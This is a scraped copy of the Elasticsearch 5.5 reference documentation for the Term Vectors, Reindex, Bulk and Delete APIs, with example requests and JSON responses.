Term Vectors

https://www.elastic.co/guide/en/elasticsearch/reference/5.5/docs-termvectors.html


edit

Returns information and statistics on terms in the fields of a particular document. The document could be stored in the index or artificially provided by the user. Term vectors are realtime by default, not near realtime. This can be changed by setting realtime parameter to false.

GET /twitter/tweet/1/_termvectors

Optionally, you can specify the fields for which the information is retrieved either with a parameter in the url

GET /twitter/tweet/1/_termvectors?fields=message

or by adding the requested fields in the request body (see example below). Fields can also be specified with wildcards in similar way to the multi match query

Warning

Note that the usage of /_termvector is deprecated in 2.0, and replaced by /_termvectors.

Return valuesedit

Three types of values can be requested: term informationterm statistics and field statistics. By default, all term information and field statistics are returned for all fields but no term statistics.

Term informationedit

  • term frequency in the field (always returned)
  • term positions (positions : true)
  • start and end offsets (offsets : true)
  • term payloads (payloads : true), as base64 encoded bytes

If the requested information wasn’t stored in the index, it will be computed on the fly if possible. Additionally, term vectors could be computed for documents not even existing in the index, but instead provided by the user.

Warning

Start and end offsets assume UTF-16 encoding is being used. If you want to use these offsets in order to get the original text that produced this token, you should make sure that the string you are taking a sub-string of is also encoded using UTF-16.

Term statisticsedit

Setting term_statistics to true (default is false) will return

  • total term frequency (how often a term occurs in all documents)
  • document frequency (the number of documents containing the current term)

By default these values are not returned since term statistics can have a serious performance impact.

Field statisticsedit

Setting field_statistics to false (default is true) will omit :

  • document count (how many documents contain this field)
  • sum of document frequencies (the sum of document frequencies for all terms in this field)
  • sum of total term frequencies (the sum of total term frequencies of each term in this field)

Terms Filteringedit

With the parameter filter, the terms returned could also be filtered based on their tf-idf scores. This could be useful in order find out a good characteristic vector of a document. This feature works in a similar manner to the second phase of the More Like This Query. See example 5 for usage.

The following sub-parameters are supported:

max_num_terms

Maximum number of terms that must be returned per field. Defaults to 25.

min_term_freq

Ignore words with less than this frequency in the source doc. Defaults to 1.

max_term_freq

Ignore words with more than this frequency in the source doc. Defaults to unbounded.

min_doc_freq

Ignore terms which do not occur in at least this many docs. Defaults to 1.

max_doc_freq

Ignore words which occur in more than this many docs. Defaults to unbounded.

min_word_length

The minimum word length below which words will be ignored. Defaults to 0.

max_word_length

The maximum word length above which words will be ignored. Defaults to unbounded (0).

Behaviouredit

The term and field statistics are not accurate. Deleted documents are not taken into account. The information is only retrieved for the shard the requested document resides in. The term and field statistics are therefore only useful as relative measures whereas the absolute numbers have no meaning in this context. By default, when requesting term vectors of artificial documents, a shard to get the statistics from is randomly selected. Use routing only to hit a particular shard.

Example: Returning stored term vectorsedit

First, we create an index that stores term vectors, payloads etc. :

PUT /twitter/
{ "mappings": {
    "tweet": {
      "properties": {
        "text": {
          "type": "text",
          "term_vector": "with_positions_offsets_payloads",
          "store" : true,
          "analyzer" : "fulltext_analyzer"
         },
         "fullname": {
          "type": "text",
          "term_vector": "with_positions_offsets_payloads",
          "analyzer" : "fulltext_analyzer"
        }
      }
    }
  },
  "settings" : {
    "index" : {
      "number_of_shards" : 1,
      "number_of_replicas" : 0
    },
    "analysis": {
      "analyzer": {
        "fulltext_analyzer": {
          "type": "custom",
          "tokenizer": "whitespace",
          "filter": [
            "lowercase",
            "type_as_payload"
          ]
        }
      }
    }
  }
}

Second, we add some documents:

PUT /twitter/tweet/1
{
  "fullname" : "John Doe",
  "text" : "twitter test test test "
}

PUT /twitter/tweet/2
{
  "fullname" : "Jane Doe",
  "text" : "Another twitter test ..."
}

The following request returns all information and statistics for field text in document 1 (John Doe):

GET /twitter/tweet/1/_termvectors
{
  "fields" : ["text"],
  "offsets" : true,
  "payloads" : true,
  "positions" : true,
  "term_statistics" : true,
  "field_statistics" : true
}

Response:

{
    "_id": "1",
    "_index": "twitter",
    "_type": "tweet",
    "_version": 1,
    "found": true,
    "took": 6,
    "term_vectors": {
        "text": {
            "field_statistics": {
                "doc_count": 2,
                "sum_doc_freq": 6,
                "sum_ttf": 8
            },
            "terms": {
                "test": {
                    "doc_freq": 2,
                    "term_freq": 3,
                    "tokens": [
                        {
                            "end_offset": 12,
                            "payload": "d29yZA==",
                            "position": 1,
                            "start_offset": 8
                        },
                        {
                            "end_offset": 17,
                            "payload": "d29yZA==",
                            "position": 2,
                            "start_offset": 13
                        },
                        {
                            "end_offset": 22,
                            "payload": "d29yZA==",
                            "position": 3,
                            "start_offset": 18
                        }
                    ],
                    "ttf": 4
                },
                "twitter": {
                    "doc_freq": 2,
                    "term_freq": 1,
                    "tokens": [
                        {
                            "end_offset": 7,
                            "payload": "d29yZA==",
                            "position": 0,
                            "start_offset": 0
                        }
                    ],
                    "ttf": 2
                }
            }
        }
    }
}

Example: Generating term vectors on the flyedit

Term vectors which are not explicitly stored in the index are automatically computed on the fly. The following request returns all information and statistics for the fields in document 1, even though the terms haven’t been explicitly stored in the index. Note that for the field text, the terms are not re-generated.

GET /twitter/tweet/1/_termvectors
{
  "fields" : ["text", "some_field_without_term_vectors"],
  "offsets" : true,
  "positions" : true,
  "term_statistics" : true,
  "field_statistics" : true
}

Example: Artificial documentsedit

Term vectors can also be generated for artificial documents, that is for documents not present in the index. For example, the following request would return the same results as in example 1. The mapping used is determined by the index and type.

If dynamic mapping is turned on (default), the document fields not in the original mapping will be dynamically created.

GET /twitter/tweet/_termvectors
{
  "doc" : {
    "fullname" : "John Doe",
    "text" : "twitter test test test"
  }
}
Per-field analyzeredit

Additionally, a different analyzer than the one at the field may be provided by using the per_field_analyzer parameter. This is useful in order to generate term vectors in any fashion, especially when using artificial documents. When providing an analyzer for a field that already stores term vectors, the term vectors will be re-generated.

GET /twitter/tweet/_termvectors
{
  "doc" : {
    "fullname" : "John Doe",
    "text" : "twitter test test test"
  },
  "fields": ["fullname"],
  "per_field_analyzer" : {
    "fullname": "keyword"
  }
}

Response:

{
  "_index": "twitter",
  "_type": "tweet",
  "_version": 0,
  "found": true,
  "took": 6,
  "term_vectors": {
    "fullname": {
       "field_statistics": {
          "sum_doc_freq": 2,
          "doc_count": 4,
          "sum_ttf": 4
       },
       "terms": {
          "John Doe": {
             "term_freq": 1,
             "tokens": [
                {
                   "position": 0,
                   "start_offset": 0,
                   "end_offset": 8
                }
             ]
          }
       }
    }
  }
}

Example: Terms filteringedit

Finally, the terms returned could be filtered based on their tf-idf scores. In the example below we obtain the three most "interesting" keywords from the artificial document having the given "plot" field value. Notice that the keyword "Tony" or any stop words are not part of the response, as their tf-idf must be too low.

GET /imdb/movies/_termvectors
{
    "doc": {
      "plot": "When wealthy industrialist Tony Stark is forced to build an armored suit after a life-threatening incident, he ultimately decides to use its technology to fight against evil."
    },
    "term_statistics" : true,
    "field_statistics" : true,
    "positions": false,
    "offsets": false,
    "filter" : {
      "max_num_terms" : 3,
      "min_term_freq" : 1,
      "min_doc_freq" : 1
    }
}

Response:

{
   "_index": "imdb",
   "_type": "movies",
   "_version": 0,
   "found": true,
   "term_vectors": {
      "plot": {
         "field_statistics": {
            "sum_doc_freq": 3384269,
            "doc_count": 176214,
            "sum_ttf": 3753460
         },
         "terms": {
            "armored": {
               "doc_freq": 27,
               "ttf": 27,
               "term_freq": 1,
               "score": 9.74725
            },
            "industrialist": {
               "doc_freq": 88,
               "ttf": 88,
               "term_freq": 1,
               "score": 8.590818
            },
            "stark": {
               "doc_freq": 44,
               "ttf": 47,
               "term_freq": 1,
               "score": 9.272792
            }
         }
      }
   }
}


Reindex API

https://www.elastic.co/guide/en/elasticsearch/reference/5.5/docs-reindex.html


edit

Important

Reindex does not attempt to set up the destination index. It does not copy the settings of the source index. You should set up the destination index prior to running a _reindex action, including setting up mappings, shard counts, replicas, etc.

The most basic form of _reindex just copies documents from one index to another. This will copy documents from the twitter index into the new_twitter index:

POST _reindex
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter"
  }
}

That will return something like this:

{
  "took" : 147,
  "timed_out": false,
  "created": 120,
  "updated": 0,
  "deleted": 0,
  "batches": 1,
  "version_conflicts": 0,
  "noops": 0,
  "retries": {
    "bulk": 0,
    "search": 0
  },
  "throttled_millis": 0,
  "requests_per_second": -1.0,
  "throttled_until_millis": 0,
  "total": 120,
  "failures" : [ ]
}

Just like _update_by_query_reindex gets a snapshot of the source index but its target must be a different index so version conflicts are unlikely. The destelement can be configured like the index API to control optimistic concurrency control. Just leaving out version_type (as above) or setting it to internal will cause Elasticsearch to blindly dump documents into the target, overwriting any that happen to have the same type and id:

POST _reindex
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter",
    "version_type": "internal"
  }
}

Setting version_type to external will cause Elasticsearch to preserve theversion from the source, create any documents that are missing, and update any documents that have an older version in the destination index than they do in the source index:

POST _reindex
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter",
    "version_type": "external"
  }
}

Settings op_type to create will cause _reindex to only create missing documents in the target index. All existing documents will cause a version conflict:

POST _reindex
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter",
    "op_type": "create"
  }
}

By default version conflicts abort the _reindex process but you can just count them by settings "conflicts": "proceed" in the request body:

POST _reindex
{
  "conflicts": "proceed",
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter",
    "op_type": "create"
  }
}

You can limit the documents by adding a type to the source or by adding a query. This will only copy tweet's made by kimchy into new_twitter:

POST _reindex
{
  "source": {
    "index": "twitter",
    "type": "tweet",
    "query": {
      "term": {
        "user": "kimchy"
      }
    }
  },
  "dest": {
    "index": "new_twitter"
  }
}

index and type in source can both be lists, allowing you to copy from lots of sources in one request. This will copy documents from the tweet and posttypes in the twitter and blog index. It’d include the post type in the twitterindex and the tweet type in the blog index. If you want to be more specific you’ll need to use the query. It also makes no effort to handle ID collisions. The target index will remain valid but it’s not easy to predict which document will survive because the iteration order isn’t well defined.

POST _reindex
{
  "source": {
    "index": ["twitter", "blog"],
    "type": ["tweet", "post"]
  },
  "dest": {
    "index": "all_together"
  }
}

It’s also possible to limit the number of processed documents by setting size. This will only copy a single document from twitter to new_twitter:

POST _reindex
{
  "size": 1,
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter"
  }
}

If you want a particular set of documents from the twitter index you’ll need to sort. Sorting makes the scroll less efficient but in some contexts it’s worth it. If possible, prefer a more selective query to size and sort. This will copy 10000 documents from twitter into new_twitter:

POST _reindex
{
  "size": 10000,
  "source": {
    "index": "twitter",
    "sort": { "date": "desc" }
  },
  "dest": {
    "index": "new_twitter"
  }
}

The source section supports all the elements that are supported in a search request. For instance only a subset of the fields from the original documents can be reindexed using source filtering as follows:

POST _reindex
{
  "source": {
    "index": "twitter",
    "_source": ["user", "tweet"]
  },
  "dest": {
    "index": "new_twitter"
  }
}

Like _update_by_query_reindex supports a script that modifies the document. Unlike _update_by_query, the script is allowed to modify the document’s metadata. This example bumps the version of the source document:

POST _reindex
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter",
    "version_type": "external"
  },
  "script": {
    "inline": "if (ctx._source.foo == 'bar') {ctx._version++; ctx._source.remove('foo')}",
    "lang": "painless"
  }
}

Just as in _update_by_query, you can set ctx.op to change the operation that is executed on the destination index:

noop
Set ctx.op = "noop" if your script decides that the document doesn’t have to be indexed in the destination index. This no operation will be reported in the noopcounter in the response body.
delete
Set ctx.op = "delete" if your script decides that the document must be deleted from the destination index. The deletion will be reported in the deleted counter in the response body.

Setting ctx.op to anything else is an error. Setting any other field in ctx is an error.

Think of the possibilities! Just be careful! With great power…. You can change:

  • _id
  • _type
  • _index
  • _version
  • _routing
  • _parent

Setting _version to null or clearing it from the ctx map is just like not sending the version in an indexing request. It will cause that document to be overwritten in the target index regardless of the version on the target or the version type you use in the _reindex request.

By default if _reindex sees a document with routing then the routing is preserved unless it’s changed by the script. You can set routing on the destrequest to change this:

keep
Sets the routing on the bulk request sent for each match to the routing on the match. The default.
discard
Sets the routing on the bulk request sent for each match to null.
=<some text>
Sets the routing on the bulk request sent for each match to all text after the =.

For example, you can use the following request to copy all documents from the source index with the company name cat into the dest index with routing set to cat.

POST _reindex
{
  "source": {
    "index": "source",
    "query": {
      "match": {
        "company": "cat"
      }
    }
  },
  "dest": {
    "index": "dest",
    "routing": "=cat"
  }
}

By default _reindex uses scroll batches of 1000. You can change the batch size with the size field in the source element:

POST _reindex
{
  "source": {
    "index": "source",
    "size": 100
  },
  "dest": {
    "index": "dest",
    "routing": "=cat"
  }
}

Reindex can also use the Ingest Node feature by specifying a pipeline like this:

POST _reindex
{
  "source": {
    "index": "source"
  },
  "dest": {
    "index": "dest",
    "pipeline": "some_ingest_pipeline"
  }
}

Reindex from Remoteedit

Reindex supports reindexing from a remote Elasticsearch cluster:

POST _reindex
{
  "source": {
    "remote": {
      "host": "http://otherhost:9200",
      "username": "user",
      "password": "pass"
    },
    "index": "source",
    "query": {
      "match": {
        "test": "data"
      }
    }
  },
  "dest": {
    "index": "dest"
  }
}

The host parameter must contain a scheme, host, and port (e.g.https://otherhost:9200). The username and password parameters are optional and when they are present reindex will connect to the remote Elasticsearch node using basic auth. Be sure to use https when using basic auth or the password will be sent in plain text.

Remote hosts have to be explicitly whitelisted in elasticsearch.yaml using thereindex.remote.whitelist property. It can be set to a comma delimited list of allowed remote host and port combinations (e.g. otherhost:9200, another:9200, 127.0.10.*:9200, localhost:*). Scheme is ignored by the whitelist - only host and port are used.

This feature should work with remote clusters of any version of Elasticsearch you are likely to find. This should allow you to upgrade from any version of Elasticsearch to the current version by reindexing from a cluster of the old version.

To enable queries sent to older versions of Elasticsearch the query parameter is sent directly to the remote host without validation or modification.

Note

Reindexing from remote clusters does not support manual orautomatic slicing.

Reindexing from a remote server uses an on-heap buffer that defaults to a maximum size of 100mb. If the remote index includes very large documents you’ll need to use a smaller batch size. The example below sets the batch size 10 which is very, very small.

POST _reindex
{
  "source": {
    "remote": {
      "host": "http://otherhost:9200"
    },
    "index": "source",
    "size": 10,
    "query": {
      "match": {
        "test": "data"
      }
    }
  },
  "dest": {
    "index": "dest"
  }
}

It is also possible to set the socket read timeout on the remote connection with the socket_timeout field and the connection timeout with theconnect_timeout field. Both default to thirty seconds. This example sets the socket read timeout to one minute and the connection timeout to ten seconds:

POST _reindex
{
  "source": {
    "remote": {
      "host": "http://otherhost:9200",
      "socket_timeout": "1m",
      "connect_timeout": "10s"
    },
    "index": "source",
    "query": {
      "match": {
        "test": "data"
      }
    }
  },
  "dest": {
    "index": "dest"
  }
}

URL Parametersedit

In addition to the standard parameters like pretty, the Reindex API also supports refreshwait_for_completionwait_for_active_shardstimeout, and requests_per_second.

Sending the refresh url parameter will cause all indexes to which the request wrote to be refreshed. This is different than the Index API’s refreshparameter which causes just the shard that received the new data to be refreshed.

If the request contains wait_for_completion=false then Elasticsearch will perform some preflight checks, launch the request, and then return a taskwhich can be used with Tasks APIs to cancel or get the status of the task. Elasticsearch will also create a record of this task as a document at .tasks/task/${taskId}. This is yours to keep or remove as you see fit. When you are done with it, delete it so Elasticsearch can reclaim the space it uses.

wait_for_active_shards controls how many copies of a shard must be active before proceeding with the reindexing. See here for details. timeout controls how long each write request waits for unavailable shards to become available. Both work exactly how they work in the Bulk API.

requests_per_second can be set to any positive decimal number (1.461000, etc) and throttles rate at which reindex issues batches of index operations by padding each batch with a wait time. The throttling can be disabled by setting requests_per_second to -1.

The throttling is done by waiting between batches so that scroll that reindex uses internally can be given a timeout that takes into account the padding. The padding time is the difference between the batch size divided by therequests_per_second and the time spent writing. By default the batch size is1000, so if the requests_per_second is set to 500:

target_time = 1000 / 500 per second = 2 seconds
wait_time = target_time - write_time = 2 seconds - .5 seconds = 1.5 seconds

Since the batch is issued as a single _bulk request large batch sizes will cause Elasticsearch to create many requests and then wait for a while before starting the next set. This is "bursty" instead of "smooth". The default is -1.

Response bodyedit

The JSON response looks like this:

{
  "took" : 639,
  "updated": 0,
  "created": 123,
  "batches": 1,
  "version_conflicts": 2,
  "retries": {
    "bulk": 0,
    "search": 0
  }
  "throttled_millis": 0,
  "failures" : [ ]
}
took
The number of milliseconds from start to end of the whole operation.
updated
The number of documents that were successfully updated.
created
The number of documents that were successfully created.
batches
The number of scroll responses pulled back by the the reindex.
version_conflicts
The number of version conflicts that reindex hit.
retries
The number of retries attempted by reindex. bulk is the number of bulk actions retried and search is the number of search actions retried.
throttled_millis
Number of milliseconds the request slept to conform to requests_per_second.
failures
Array of all indexing failures. If this is non-empty then the request aborted because of those failures. See conflicts for how to prevent version conflicts from aborting the operation.

Works with the Task APIedit

You can fetch the status of all running reindex requests with the Task API:

GET _tasks?detailed=true&actions=*reindex

The responses looks like:

{
  "nodes" : {
    "r1A2WoRbTwKZ516z6NEs5A" : {
      "name" : "r1A2WoR",
      "transport_address" : "127.0.0.1:9300",
      "host" : "127.0.0.1",
      "ip" : "127.0.0.1:9300",
      "attributes" : {
        "testattr" : "test",
        "portsfile" : "true"
      },
      "tasks" : {
        "r1A2WoRbTwKZ516z6NEs5A:36619" : {
          "node" : "r1A2WoRbTwKZ516z6NEs5A",
          "id" : 36619,
          "type" : "transport",
          "action" : "indices:data/write/reindex",
          "status" : {    
            "total" : 6154,
            "updated" : 3500,
            "created" : 0,
            "deleted" : 0,
            "batches" : 4,
            "version_conflicts" : 0,
            "noops" : 0,
            "retries": {
              "bulk": 0,
              "search": 0
            },
            "throttled_millis": 0
          },
          "description" : ""
        }
      }
    }
  }
}

this object contains the actual status. It is just like the response json with the important addition of the total field. total is the total number of operations that the reindex expects to perform. You can estimate the progress by adding the updatedcreated, and deleted fields. The request will finish when their sum is equal to the total field.

With the task id you can look up the task directly:

GET /_tasks/taskId:1

The advantage of this API is that it integrates with wait_for_completion=falseto transparently return the status of completed tasks. If the task is completed and wait_for_completion=false was set on it them it’ll come back with aresults or an error field. The cost of this feature is the document thatwait_for_completion=false creates at .tasks/task/${taskId}. It is up to you to delete that document.

Works with the Cancel Task APIedit

Any Reindex can be canceled using the Task Cancel API:

POST _tasks/task_id:1/_cancel

The task_id can be found using the tasks API above.

Cancelation should happen quickly but might take a few seconds. The task status API above will continue to list the task until it is wakes to cancel itself.

Rethrottlingedit

The value of requests_per_second can be changed on a running reindex using the _rethrottle API:

POST _reindex/task_id:1/_rethrottle?requests_per_second=-1

The task_id can be found using the tasks API above.

Just like when setting it on the _reindex API requests_per_second can be either -1 to disable throttling or any decimal number like 1.7 or 12 to throttle to that level. Rethrottling that speeds up the query takes effect immediately but rethrotting that slows down the query will take effect on after completing the current batch. This prevents scroll timeouts.

Reindex to change the name of a fieldedit

_reindex can be used to build a copy of an index with renamed fields. Say you create an index containing documents that look like this:

POST test/test/1?refresh
{
  "text": "words words",
  "flag": "foo"
}

But you don’t like the name flag and want to replace it with tag_reindexcan create the other index for you:

POST _reindex
{
  "source": {
    "index": "test"
  },
  "dest": {
    "index": "test2"
  },
  "script": {
    "inline": "ctx._source.tag = ctx._source.remove(\"flag\")"
  }
}

Now you can get the new document:

GET test2/test/1

and it’ll look like:

{
  "found": true,
  "_id": "1",
  "_index": "test2",
  "_type": "test",
  "_version": 1,
  "_source": {
    "text": "words words",
    "tag": "foo"
  }
}

Or you can search by tag or whatever you want.

Manual slicingedit

Reindex supports Sliced Scroll, allowing you to manually parallelize the process relatively easily:

POST _reindex
{
  "source": {
    "index": "twitter",
    "slice": {
      "id": 0,
      "max": 2
    }
  },
  "dest": {
    "index": "new_twitter"
  }
}
POST _reindex
{
  "source": {
    "index": "twitter",
    "slice": {
      "id": 1,
      "max": 2
    }
  },
  "dest": {
    "index": "new_twitter"
  }
}

Which you can verify works with:

GET _refresh
POST new_twitter/_search?size=0&filter_path=hits.total

Which results in a sensible total like this one:

{
  "hits": {
    "total": 120
  }
}

Automatic slicingedit

You can also let reindex automatically parallelize using Sliced Scroll to slice on _uid:

POST _reindex?slices=5&refresh
{
  "source": {
    "index": "twitter"
  },
  "dest": {
    "index": "new_twitter"
  }
}

Which you also can verify works with:

POST new_twitter/_search?size=0&filter_path=hits.total

Which results in a sensible total like this one:

{
  "hits": {
    "total": 120
  }
}

Adding slices to _reindex just automates the manual process used in the section above, creating sub-requests which means it has some quirks:

  • You can see these requests in the Tasks APIs. These sub-requests are "child" tasks of the task for the request with slices.
  • Fetching the status of the task for the request with slices only contains the status of completed slices.
  • These sub-requests are individually addressable for things like cancellation and rethrottling.
  • Rethrottling the request with slices will rethrottle the unfinished sub-request proportionally.
  • Canceling the request with slices will cancel each sub-request.
  • Due to the nature of slices each sub-request won’t get a perfectly even portion of the documents. All documents will be addressed, but some slices may be larger than others. Expect larger slices to have a more even distribution.
  • Parameters like requests_per_second and size on a request with slices are distributed proportionally to each sub-request. Combine that with the point above about distribution being uneven and you should conclude that the using size with slices might not result in exactly size documents being `_reindex`ed.
  • Each sub-requests gets a slightly different snapshot of the source index though these are all taken at approximately the same time.

Picking the number of slicesedit

At this point we have a few recommendations around the number of slicesto use (the max parameter in the slice API if manually parallelizing):

  • Don’t use large numbers. 500 creates fairly massive CPU thrash.
  • It is more efficient from a query performance standpoint to use some multiple of the number of shards in the source index.
  • Using exactly as many shards as are in the source index is the most efficient from a query performance standpoint.
  • Indexing performance should scale linearly across available resources with the number of slices.
  • Whether indexing or query performance dominates that process depends on lots of factors like the documents being reindexed and the cluster doing the reindexing.

Reindex daily indicesedit

You can use _reindex in combination with Painless to reindex daily indices to apply a new template to the existing documents.

Assuming you have indices consisting of documents as following:

PUT metricbeat-2016.05.30/beat/1?refresh
{"system.cpu.idle.pct": 0.908}
PUT metricbeat-2016.05.31/beat/1?refresh
{"system.cpu.idle.pct": 0.105}

The new template for the metricbeat-* indices is already loaded into elasticsearch but it applies only to the newly created indices. Painless can be used to reindex the existing documents and apply the new template.

The script below extracts the date from the index name and creates a new index with -1 appended. All data from metricbeat-2016.05.31 will be reindex into metricbeat-2016.05.31-1.

POST _reindex
{
  "source": {
    "index": "metricbeat-*"
  },
  "dest": {
    "index": "metricbeat"
  },
  "script": {
    "lang": "painless",
    "inline": "ctx._index = 'metricbeat-' + (ctx._index.substring('metricbeat-'.length(), ctx._index.length())) + '-1'"
  }
}

All documents from the previous metricbeat indices now can be found in the *-1 indices.

GET metricbeat-2016.05.30-1/beat/1
GET metricbeat-2016.05.31-1/beat/1

The previous method can also be used in combination with change the name of a field to only load the existing data into the new index, but also rename fields if needed.

Extracting a random subset of an indexedit

Reindex can be used to extract a random subset of an index for testing:

POST _reindex
{
  "size": 10,
  "source": {
    "index": "twitter",
    "query": {
      "function_score" : {
        "query" : { "match_all": {} },
        "random_score" : {}
      }
    },
    "sort": "_score"    
  },
  "dest": {
    "index": "random_twitter"
  }
}

Reindex defaults to sorting by _doc so random_score won’t have any effect unless you override the sort to _score.


Bulk API

https://www.elastic.co/guide/en/elasticsearch/reference/5.5/docs-bulk.html


edit

The bulk API makes it possible to perform many index/delete operations in a single API call. This can greatly increase the indexing speed.

The REST API endpoint is /_bulk, and it expects the following newline delimited JSON (NDJSON) structure:

action_and_meta_data\n
optional_source\n
action_and_meta_data\n
optional_source\n
....
action_and_meta_data\n
optional_source\n

NOTE: the final line of data must end with a newline character \n. Each newline character may be preceded by a carriage return \r. When sending requests to this endpoint the Content-Type header should be set to application/x-ndjson.

The possible actions are indexcreatedelete and updateindex and create expect a source on the next line, and have the same semantics as the op_type parameter to the standard index API (i.e. create will fail if a document with the same index and type exists already, whereas index will add or replace a document as necessary). delete does not expect a source on the following line, and has the same semantics as the standard delete API. update expects that the partial doc, upsert and script and its options are specified on the next line.

If you’re providing text file input to curl, you must use the --data-binary flag instead of plain -d. The latter doesn’t preserve newlines. Example:

$ cat requests
{ "index" : { "_index" : "test", "_type" : "type1", "_id" : "1" } }
{ "field1" : "value1" }
$ curl -s -H "Content-Type: application/x-ndjson" -XPOST localhost:9200/_bulk --data-binary "@requests"; echo
{"took":7, "errors": false, "items":[{"index":{"_index":"test","_type":"type1","_id":"1","_version":1,"result":"created","forced_refresh":false}}]}

Because this format uses literal \n's as delimiters, please be sure that the JSON actions and sources are not pretty printed. Here is an example of a correct sequence of bulk commands:

POST _bulk
{ "index" : { "_index" : "test", "_type" : "type1", "_id" : "1" } }
{ "field1" : "value1" }
{ "delete" : { "_index" : "test", "_type" : "type1", "_id" : "2" } }
{ "create" : { "_index" : "test", "_type" : "type1", "_id" : "3" } }
{ "field1" : "value3" }
{ "update" : {"_id" : "1", "_type" : "type1", "_index" : "test"} }
{ "doc" : {"field2" : "value2"} }

The result of this bulk operation is:

{
   "took": 30,
   "errors": false,
   "items": [
      {
         "index": {
            "_index": "test",
            "_type": "type1",
            "_id": "1",
            "_version": 1,
            "result": "created",
            "_shards": {
               "total": 2,
               "successful": 1,
               "failed": 0
            },
            "created": true,
            "status": 201
         }
      },
      {
         "delete": {
            "found": false,
            "_index": "test",
            "_type": "type1",
            "_id": "2",
            "_version": 1,
            "result": "not_found",
            "_shards": {
               "total": 2,
               "successful": 1,
               "failed": 0
            },
            "status": 404
         }
      },
      {
         "create": {
            "_index": "test",
            "_type": "type1",
            "_id": "3",
            "_version": 1,
            "result": "created",
            "_shards": {
               "total": 2,
               "successful": 1,
               "failed": 0
            },
            "created": true,
            "status": 201
         }
      },
      {
         "update": {
            "_index": "test",
            "_type": "type1",
            "_id": "1",
            "_version": 2,
            "result": "updated",
            "_shards": {
                "total": 2,
                "successful": 1,
                "failed": 0
            },
            "status": 200
         }
      }
   ]
}

The endpoints are /_bulk/{index}/_bulk, and {index}/{type}/_bulk. When the index or the index/type are provided, they will be used by default on bulk items that don’t provide them explicitly.

A note on the format. The idea here is to make processing of this as fast as possible. As some of the actions will be redirected to other shards on other nodes, only action_meta_data is parsed on the receiving node side.

Client libraries using this protocol should try and strive to do something similar on the client side, and reduce buffering as much as possible.

The response to a bulk action is a large JSON structure with the individual results of each action that was performed. The failure of a single action does not affect the remaining actions.

There is no "correct" number of actions to perform in a single bulk call. You should experiment with different settings to find the optimum size for your particular workload.

If using the HTTP API, make sure that the client does not send HTTP chunks, as this will slow things down.

Versioningedit

Each bulk item can include the version value using the _version/version field. It automatically follows the behavior of the index / delete operation based on the _version mapping. It also support the version_type/_version_type (see versioning)

Routingedit

Each bulk item can include the routing value using the _routing/routing field. It automatically follows the behavior of the index / delete operation based on the _routing mapping.

Parentedit

Each bulk item can include the parent value using the _parent/parent field. It automatically follows the behavior of the index / delete operation based on the _parent / _routing mapping.

Wait For Active Shardsedit

When making bulk calls, you can set the wait_for_active_shards parameter to require a minimum number of shard copies to be active before starting to process the bulk request. See here for further details and a usage example.

Refreshedit

Control when the changes made by this request are visible to search. Seerefresh.

Updateedit

When using update action _retry_on_conflict can be used as field in the action itself (not in the extra payload line), to specify how many times an update should be retried in the case of a version conflict.

The update action payload, supports the following options: doc (partial document), upsertdoc_as_upsertscript and _source. See updatedocumentation for details on the options. Example with update actions:

POST _bulk
{ "update" : {"_id" : "1", "_type" : "type1", "_index" : "index1", "_retry_on_conflict" : 3} }
{ "doc" : {"field" : "value"} }
{ "update" : { "_id" : "0", "_type" : "type1", "_index" : "index1", "_retry_on_conflict" : 3} }
{ "script" : { "inline": "ctx._source.counter += params.param1", "lang" : "painless", "params" : {"param1" : 1}}, "upsert" : {"counter" : 1}}
{ "update" : {"_id" : "2", "_type" : "type1", "_index" : "index1", "_retry_on_conflict" : 3} }
{ "doc" : {"field" : "value"}, "doc_as_upsert" : true }
{ "update" : {"_id" : "3", "_type" : "type1", "_index" : "index1", "_source" : true} }
{ "doc" : {"field" : "value"} }
{ "update" : {"_id" : "4", "_type" : "type1", "_index" : "index1"} }
{ "doc" : {"field" : "value"}, "_source": true}

Securityedit

See URL-based access control


Delete API

https://www.elastic.co/guide/en/elasticsearch/reference/5.5/docs-delete.html


edit

The delete API allows to delete a typed JSON document from a specific index based on its id. The following example deletes the JSON document from an index called twitter, under a type called tweet, with id valued 1:

DELETE /twitter/tweet/1

The result of the above delete operation is:

{
    "_shards" : {
        "total" : 2,
        "failed" : 0,
        "successful" : 2
    },
    "found" : true,
    "_index" : "twitter",
    "_type" : "tweet",
    "_id" : "1",
    "_version" : 2,
    "result": "deleted"
}

Versioningedit

Each document indexed is versioned. When deleting a document, the versioncan be specified to make sure the relevant document we are trying to delete is actually being deleted and it has not changed in the meantime. Every write operation executed on a document, deletes included, causes its version to be incremented.

Routingedit

When indexing using the ability to control the routing, in order to delete a document, the routing value should also be provided. For example:

DELETE /twitter/tweet/1?routing=kimchy

The above will delete a tweet with id 1, but will be routed based on the user. Note, issuing a delete without the correct routing, will cause the document to not be deleted.

When the _routing mapping is set as required and no routing value is specified, the delete api will throw a RoutingMissingException and reject the request.

Parentedit

The parent parameter can be set, which will basically be the same as setting the routing parameter.

Note that deleting a parent document does not automatically delete its children. One way of deleting all child documents given a parent’s id is to use the Delete By Query API to perform a index with the automatically generated (and indexed) field _parent, which is in the format parent_type#parent_id.

When deleting a child document its parent id must be specified, otherwise the delete request will be rejected and a RoutingMissingException will be thrown instead.

Automatic index creationedit

The delete operation automatically creates an index if it has not been created before (check out the create index API for manually creating an index), and also automatically creates a dynamic type mapping for the specific type if it has not been created before (check out the put mapping API for manually creating type mapping).

Distributededit

The delete operation gets hashed into a specific shard id. It then gets redirected into the primary shard within that id group, and replicated (if needed) to shard replicas within that id group.

Wait For Active Shardsedit

When making delete requests, you can set the wait_for_active_shardsparameter to require a minimum number of shard copies to be active before starting to process the delete request. See here for further details and a usage example.

Refreshedit

Control when the changes made by this request are visible to search. See ?refresh.

Timeoutedit

The primary shard assigned to perform the delete operation might not be available when the delete operation is executed. Some reasons for this might be that the primary shard is currently recovering from a store or undergoing relocation. By default, the delete operation will wait on the primary shard to become available for up to 1 minute before failing and responding with an error. The timeout parameter can be used to explicitly specify how long it waits. Here is an example of setting it to 5 minutes:

DELETE /twitter/tweet/1?timeout=5m


Get API

